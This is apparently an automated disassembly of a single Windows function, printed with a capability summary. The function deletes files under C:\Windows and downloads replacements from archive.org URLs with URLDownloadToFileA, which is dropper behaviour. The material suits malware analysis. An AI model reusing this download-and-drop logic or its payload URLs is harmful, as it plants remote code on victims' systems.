Function at 0x140037e80
Capabilities:
Delete file
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
xor edi, edi
mov ecx, 0x20
mov qword [rsp + 0x38], rdi
call fcn.1400a6be0
movdqa xmm0, xmmword [0x140106570]
lea rdx, [0x140104bac]
mov qword [rsp + 0x30], rax
mov rcx, rax
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.C:WindowsFuckYouBitch]
movups xmmword [rax], xmm0
mov eax, dword [0x140104bd8]
mov dword [rcx + 0x10], eax
movzx eax, word [0x140104bdc]
mov word [rcx + 0x14], ax
movzx eax, byte [0x140104bde]
mov byte [rcx + 0x16], al
mov byte [rcx + 0x17], dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140037efc
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor bl, bl
jmp 0x140037efe
mov bl, 1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140037f3e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037f39
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140037f39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a6f34
test bl, bl
je 0x140037f60
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsFuckYouBitch
xor ecx, ecx
lea rdx, str.https:__archive.org_download_bondok_202405_libLoma.so
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x20
mov qword [rsp + 0x38], rdi
call fcn.1400a6be0
movdqa xmm0, xmmword [0x140106570]
lea rdx, [0x140104bac]
mov qword [rsp + 0x30], rax
mov rcx, rax
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.C:WindowsFuckYouBitch]
movups xmmword [rax], xmm0
mov eax, dword [0x140104bd8]
mov dword [rcx + 0x10], eax
movzx eax, word [0x140104bdc]
mov word [rcx + 0x14], ax
movzx eax, byte [0x140104bde]
mov byte [rcx + 0x16], al
mov byte [rcx + 0x17], dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140037fd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov bl, 1
jmp 0x140037fd2
xor bl, bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140038012
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003800d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003800d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a6f34
test bl, bl
je 0x140038041
lea rcx, str.C:WindowsFuckYouBitch
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsFuckYouBitch
xor ecx, ecx
lea rdx, str.https:__archive.org_download_bondok_202405_libLoma.so
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x30
mov qword [rsp + 0x38], rdi
call fcn.1400a6be0
movdqa xmm0, xmmword [0x140106580]
lea rdx, [0x140104bac]
mov qword [rsp + 0x30], rax
mov rcx, rax
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.C:WindowsDark_Team_Lib_Load_done.txt]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140104c28]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x140104c38]
mov dword [rcx + 0x20], eax
movzx eax, word [0x140104c3c]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400380b2
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor bl, bl
jmp 0x1400380b4
mov bl, 1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400380f4
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400380ef
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400380ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a6f34
test bl, bl
je 0x140038116
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsDark_Team_Lib_Load_done.txt
xor ecx, ecx
lea rdx, str.https:__archive.org_download_dark_team_lib_load_done_202406_Dark_20Team_20Lib_20Load_20done
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x30
mov qword [rsp + 0x38], rdi
call fcn.1400a6be0
movdqa xmm0, xmmword [0x140106580]
lea rdx, [0x140104bac]
mov qword [rsp + 0x30], rax
mov rcx, rax
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.C:WindowsDark_Team_Lib_Load_done.txt]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140104c28]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x140104c38]
mov dword [rcx + 0x20], eax
movzx eax, word [0x140104c3c]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140038187
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov bl, 1
jmp 0x140038189
xor bl, bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400381c9
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400381c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400381c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a6f34
test bl, bl
je 0x1400381f8
lea rcx, str.C:WindowsDark_Team_Lib_Load_done.txt
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsDark_Team_Lib_Load_done.txt
xor ecx, ecx
lea rdx, str.https:__archive.org_download_dark_team_lib_load_done_202406_Dark_20Team_20Lib_20Load_20done
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret